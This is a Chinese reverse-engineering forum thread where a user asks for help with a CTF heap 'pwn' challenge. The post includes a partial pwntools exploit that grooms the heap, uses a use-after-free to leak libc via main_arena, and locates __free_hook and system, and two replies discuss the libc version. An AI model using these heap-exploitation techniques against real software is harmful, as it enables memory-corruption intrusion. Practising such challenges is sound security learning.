吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 723|回复: 2
收起左侧

[求助] 一道ez pwn题求助

[复制链接]
小朋友呢 发表于 2022-12-17 21:22

附件地址:https://t.wss.ink/f/a1932ijro2o

下面是自己写的部分exp
思路:

申请程序最大的内存,然后全部free掉
利用程序知道的super_666函数申请一块大内存
此时tcachebins会合并一部分成为smallbin
利用UAF泄露main_arena地址从而泄露libc
后面再进行任意写的时候就写不动了...

from pwn import *

io = process("./pwn")
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

context.update( os = 'linux', arch = 'amd64',timeout = 1,log_level = 'debug')
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def cmd(opt,idx):
  io.sendlineafter(">>",str(opt).encode())
  io.sendlineafter("Index?",str(idx).encode())

def super_666():
  io.sendlineafter(">>",str(666).encode())
  io.sendlineafter("hh!",str(1023).encode())

def add(idx,size):
  cmd(1,idx)
  io.sendlineafter("Size?",str(size).encode())

def delete(idx):
  cmd(2,idx)

def show(idx):
  cmd(4,idx)

def edit(idx,content):
  cmd(3,idx)
  io.sendlineafter("Content?",content)

for i in range(0x10):
  add(i,0x60)

for j in range(0xf,-1,-1):
  delete(j)

super_666()
gdb.attach(io)
pause()

show(0)

# -0x450 malloc_hook
__malloc_hook = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))  - 0x450
libc.address = __malloc_hook - libc.sym['__malloc_hook']
system_addr = libc.sym['system']
__free_hook = libc.sym['__free_hook']

log.info("------>>>>",hex(__malloc_hook))
log.info("------>>>>",hex(__free_hook))
log.info("------>>>>",hex(system_addr))

pause()
log.info("k"*30)

io.interactive()

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

CuteCabbage 发表于 2022-12-18 00:38
没给libc么,这样都没法确定有没有tcache
 楼主| 小朋友呢 发表于 2022-12-18 09:08
CuteCabbage 发表于 2022-12-18 00:38
没给libc么,这样都没法确定有没有tcache

libc2.31用ubuntu20.04本地的就可以
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 04:45

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表